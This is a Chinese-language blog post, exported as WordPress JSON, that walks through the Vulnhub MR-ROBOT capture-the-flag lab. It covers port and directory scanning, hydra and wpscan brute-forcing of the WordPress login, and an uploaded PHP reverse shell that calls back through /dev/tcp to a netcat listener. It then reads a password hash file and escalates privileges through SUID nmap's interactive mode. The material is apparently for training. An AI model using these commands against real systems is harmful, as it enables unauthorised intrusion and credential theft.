{"id":373,"date":"2024-02-22T14:09:25","date_gmt":"2024-02-22T06:09:25","guid":{"rendered":"http:\/\/162.14.82.114\/?p=373"},"modified":"2024-02-22T14:09:25","modified_gmt":"2024-02-22T06:09:25","slug":"vulnhub-mr-robot","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/373\/02\/22\/2024\/","title":{"rendered":"Vulnhub–MR-ROBOT"},"content":{"rendered":"

MR-ROBOT: 1<\/h1>\n

\"image-20240222094926014\"<\/div><\/p>\n

\u5148\u6253\u5f00\u770b\u4e00\u4e0b\u662f\u548b\u6837\uff0c\u8f6c\u6362\u6210NAT\u6a21\u5f0f\uff1a<\/p>\n

\"image-20240222100219767\"<\/div><\/p>\n

\"image-20240222100353581\"<\/div><\/p>\n

\"image-20240222100821302\"<\/div><\/p>\n

\u6211\u64e6\uff0c\u4eca\u5929\u8fd9\u4e48\u987a\u5229\uff0c\u4e0d\u6562\u76f8\u4fe1\uff0c\u5f00\u59cb\u62ff\u4e0b\uff01\uff01\uff01\uff01<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.244.131 <\/code><\/pre>\n
Open 192.168.244.131:80\nOpen 192.168.244.131:443\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")                                                                                                                                            \n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-21 21:12 EST                                                         \nInitiating Ping Scan at 21:12                                                                                                 \nScanning 192.168.244.131 [2 ports]                                                                                            \nCompleted Ping Scan at 21:12, 0.00s elapsed (1 total hosts)                                                                   \nInitiating Parallel DNS resolution of 1 host. at 21:12                                                                         \nCompleted Parallel DNS resolution of 1 host. at 21:12, 2.18s elapsed                                                           \nDNS resolution of 1 IPs took 2.18s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]                            \nInitiating Connect Scan at 21:12                                                                                              \nScanning 192.168.244.131 [2 ports]                                                                                             \nDiscovered open port 80\/tcp on 192.168.244.131                                                                                 \nDiscovered open port 443\/tcp on 192.168.244.131                                                                               \nCompleted Connect Scan at 21:12, 0.00s elapsed (2 total ports)                                                                 \nNmap scan report for 192.168.244.131                                                                                           \nHost is up, received syn-ack (0.00072s latency).                                                                               \nScanned at 2024-02-21 21:12:23 EST for 0s                                                                                                                       \nPORT    STATE SERVICE REASON                                                                                                   \n80\/tcp  open  http    syn-ack                                                                                                 \n443\/tcp open  https   syn-ack                                                                                                 \nRead data files from: \/usr\/bin\/..\/share\/nmap                                                                                   \nNmap done: 1 IP address (1 host up) scanned in 2.38 seconds<\/code><\/pre>\n
\u5947\u602a\u4e86\uff0c\u6211\u53c8\u62ffnmap\u626b\u4e86\u4e00\u4e0b\uff0c\u626b\u51fa\u6765\u4e86\u4e00\u4e2a22\u7aef\u53e3\u3002\u3002\u3002\u3002<\/p>\n
nmap -sV -T4 192.168.244.131<\/code><\/pre>\n
Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-21 22:18 EST\nNmap scan report for 192.168.244.131\nHost is up (0.00050s latency).\nNot shown: 997 filtered tcp ports (no-response)\nPORT    STATE  SERVICE  VERSION\n22\/tcp  closed ssh\n80\/tcp  open   http     Apache httpd\n443\/tcp open   ssl\/http Apache httpd\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 24.98 seconds<\/code><\/pre>\n
\u5b9e\u5730\u52d8\u63a2<\/h3>\n
\"image-20240222101840336\"<\/div><\/p>\n
\u8fd9\u9776\u573a\u662f\u771f\u7684\u70ab\u9177\u54e6\uff01\u5c31\u548c\u7535\u5f71\u7247\u6bb5\u4e00\u6837\uff1a<\/p>\n
\u6700\u540e\u4e00\u4e2ajoin\u6709\u4e2a\u586b\u90ae\u7bb1\u5730\u5740\u7684\u5730\u65b9\uff0c\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240222103134443\"<\/div><\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/192.168.244.131 -f -t 1000 --no-error <\/code><\/pre>\n
\u7ebf\u7a0b\u592a\u5c0f\u53c8\u592a\u6162\uff0c\u7ebf\u7a0b\u5f00\u5927\u53c8\u6709\u7684\u626b\u4e0d\u5230\uff0c\u53ea\u80fd\u8010\u5fc3\u7b49\u8fa3\uff01\uff08\u6ca1\u7528\u4e0a\uff0c\u4f46\u662f\u7b49\u4e86\u4e00\u4e2a\u591a\u5c0f\u65f6\uff0c\u8fd8\u662f\u628a\u653e\u4e0a\u6765\u4e86\uff09<\/p>\n
===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.244.131\n[+] Method:                  GET\n[+] Threads:                 200\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Add Slash:               true\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/blog\/                (Status: 403) [Size: 214]\n\/video\/               (Status: 403) [Size: 215]\n\/images\/              (Status: 403) [Size: 216]\n\/admin\/               (Status: 200) [Size: 1077]\n\/atom\/                (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/feed\/atom\/]\n\/audio\/               (Status: 403) [Size: 215]\n\/login\/               (Status: 302) [Size: 0] [--> http:\/\/192.168.244.131\/wp-login.php]\n\/rss\/                 (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/feed\/]\n\/feed\/                (Status: 200) [Size: 815]\n\/0\/                   (Status: 200) [Size: 8322]\n\/image\/               (Status: 200) [Size: 11841]\n\/wp-content\/          (Status: 200) [Size: 0]\n\/css\/                 (Status: 403) [Size: 213]\n\/wp-login\/            (Status: 200) [Size: 2703]\n\/rss2\/                (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/feed\/]\n\/wp-includes\/         (Status: 403) [Size: 221]\n\/js\/                  (Status: 403) [Size: 212]\n\/Image\/               (Status: 200) [Size: 11841]\n\/rdf\/                 (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/feed\/rdf\/]\n\/page1\/               (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/]\n\/dashboard\/           (Status: 302) [Size: 0] [--> http:\/\/192.168.244.131\/wp-admin\/]\n\/wp-admin\/            (Status: 302) [Size: 0] [--> http:\/\/192.168.244.131\/wp-login.php?redirect_to=http%3A%2F%2F192.168.244.131%2Fwp-admin%2F&reauth=1]\n\/phpmyadmin\/          (Status: 403) [Size: 94]\n\/0000\/                (Status: 200) [Size: 8322]\n\/xmlrpc\/              (Status: 405) [Size: 42]\n\/IMAGE\/               (Status: 200) [Size: 11739]\n\/wp-signup\/           (Status: 302) [Size: 0] [--> http:\/\/192.168.244.131\/wp-login.php?action=register]\n\/page01\/              (Status: 301) [Size: 0] [--> http:\/\/192.168.244.131\/]\nProgress: 220560 \/ 220561 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u95f2\u7740\u65e0\u4e8b\uff0c\u624b\u52a8\u770b\u4e86\u51e0\u4e2a\u76ee\u5f55\uff1a<\/p>\n
http:\/\/192.168.244.131\/robots.txt\nUser-agent: *\nfsocity.dic\nkey-1-of-3.txt<\/code><\/pre>\n
\"image-20240222112545371\"<\/div>
\n
\"image-20240222112617147\"<\/div><\/p>\n
\u5f97\u5230\u4e86\u7b2c\u4e00\u4e2akey\uff01\uff01\uff01\uff01<\/p>\n
whatweb<\/h3>\n
whatweb 192.168.244.131\n# http:\/\/192.168.244.131 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[192.168.244.131], Script,UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]<\/code><\/pre>\n
Wappalyzer<\/h3>\n
\"image-20240222112844108\"<\/div><\/p>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u53ef\u4ee5\u770b\u5230\u662fWordPress<\/code>\u7684CMS\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u9ed8\u8ba4\u76ee\u5f55wp-admin<\/code>\uff1a<\/p>\n
\"image-20240222112958376\"<\/div><\/p>\n
\u6211\u64e6\u8fd8\u771f\u6ca1\u6539\uff0c\u5c1d\u8bd5\u7206\u7834\uff1a<\/p>\n
\"image-20240222113538328\"<\/div><\/p>\n
\"image-20240222113744444\"<\/div><\/p>\n
\"image-20240222114052341\"<\/div><\/p>\n
\"image-20240222114244288\"<\/div><\/p>\n
\u592a\u6162\u4e86\uff0c\u4f7f\u7528\u7269\u7406\u673a\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n
\"image-20240222120627403\"<\/div><\/p>\n
\u626b\u51fa\u6765\u4e86\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u5c1d\u8bd5wpscan<\/code>\u626b\u4e00\u4e0b\uff1a(\u6211\u662f\u666e\u901a\u7528\u6237\u5c31\u4e0d\u8fd9\u4e48\u5e72\u4e86\uff0c\u592a\u6162\u4e86)<\/p>\n
wpscan --url http:\/\/192.168.244.131\/wp-login.php -U Elliot -P fsocity.txt --api-token 'xxx'<\/code><\/pre>\n
\u4e5f\u53ef\u4ee5\u5c1d\u8bd5hydra<\/code>\u7206\u7834\uff1a<\/p>\n
hydra -L fsocity.dic  -p test  192.168.16.146 http-post-form "\/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"\n# \u67e5\u627e\u7528\u6237\u540d<\/code><\/pre>\n
\"image-20240222122411756\"<\/div><\/p>\n
# \u76f4\u63a5\u7206\u7834\u5bc6\u7801 \u6211\u5077\u5077\u628a\u5bc6\u7801\u653e\u524d\u9762\u6765\u4e86\uff0c\u4e0d\u7136\u5bc6\u7801\u5728\u7b2c\u516b\u5341\u591a\u4e07\u4f4d\nhydra -vV -l elliot -P fsocity.dic 192.168.244.131 http-post-form '\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect' -t 64<\/code><\/pre>\n
\"image-20240222125226945\"<\/div><\/p>\n
\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
\"image-20240222125404605\"<\/div><\/p>\n
\u4e0a\u4f20\u4e00\u4e2a\u8fdc\u7a0b\u53cd\u5411shell\u8fde\u63a5\u811a\u672c\uff08\u63d2\u4ef6\u4e0a\u4f20\u6216\u8005\u653e\u8fdb\u4e3b\u9898\uff09<\/p>\n
<?php\nexec("\/bin\/bash -c 'bash -i >& \/dev\/tcp\/192.168.244.128\/1234 0>&1'");\n?><\/code><\/pre>\n
# kali\nsudo nc -lvp 1234<\/code><\/pre>\n
\"image-20240222130131093\"<\/div><\/p>\n
\"image-20240222130216632\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
ls -la \/home\/robot\ncat \/home\/robot\/password.raw-md5\ncat \/home\/robot\/key-2-of-3.txt  <\/code><\/pre>\n
\"image-20240222130432465\"<\/div><\/p>\n
\"image-20240222135154833\"<\/div><\/p>\n
\u89e3\u5bc6\u5f97\u5230\u5bc6\u7801\uff0c\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
abcdefghijklmnopqrstuvwxyz<\/code><\/pre>\n
\u5c1d\u8bd5\u767b\u5f55\u4e0d\u4e86\uff0c\u6269\u4ea7\u6210\u53ef\u6267\u884c\u7684shell\uff1a<\/p>\n
python -c 'import pty; pty.spawn("\/bin\/sh")'\nsu robot\ncat \/home\/robot\/key-2-of-3.txt<\/code><\/pre>\n
\"image-20240222135529341\"<\/div><\/p>\n
\u67e5\u770b\u5185\u6838\u7248\u672c\u4ee5\u53casuid<\/code>\u6f0f\u6d1e\u662f\u5426\u5b58\u5728\uff1a<\/p>\n
uname -a\nlsb_release -a\nfind \/ -perm -u=s -type f 2>\/dev\/null<\/code><\/pre>\n
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU\/Linux\n\nNo LSB modules are available.\nDistributor ID: Ubuntu\nDescription:    Ubuntu 14.04.2 LTS\nRelease:        14.04\nCodename:       trusty\n\n\/bin\/ping\n\/bin\/umount\n\/bin\/mount\n\/bin\/ping6\n\/bin\/su\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/sudo\n\/usr\/local\/bin\/nmap\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/vmware-tools\/bin32\/vmware-user-suid-wrapper\n\/usr\/lib\/vmware-tools\/bin64\/vmware-user-suid-wrapper\n\/usr\/lib\/pt_chown<\/code><\/pre>\n
nmap<\/code>\u662fsuid\u6743\u9650\u7684\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5229\u7528\uff01\uff01\uff01<\/p>\n
nmap -v\n# Starting nmap 3.81 ( http:\/\/www.insecure.org\/nmap\/ ) at 2024-02-22 06:00 UTC\n# No target machines\/networks specified!\n# QUITTING!\nnmap --interactive<\/code><\/pre>\n
\"image-20240222140201083\"<\/div><\/p>\n
\u7136\u540e\u83b7\u53d6\u6700\u540e\u4e00\u4e2akey:<\/p>\n
\"image-20240222140308994\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
MR-ROBOT: 1 \u5148\u6253\u5f00\u770b\u4e00\u4e0b\u662f\u548b\u6837\uff0c\u8f6c\u6362\u6210NAT\u6a21\u5f0f\uff1a \u6211\u64e6\uff0c\u4eca\u5929\u8fd9\u4e48\u987a\u5229\uff0c\u4e0d\u6562\u76f8\u4fe1\uff0c\u5f00\u59cb\u62ff\u4e0b\uff01\uff01\uff01\uff01 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-373","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/373","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=373"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/373\/revisions"}],"predecessor-version":[{"id":374,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/373\/revisions\/374"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=373"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=373"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=373"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}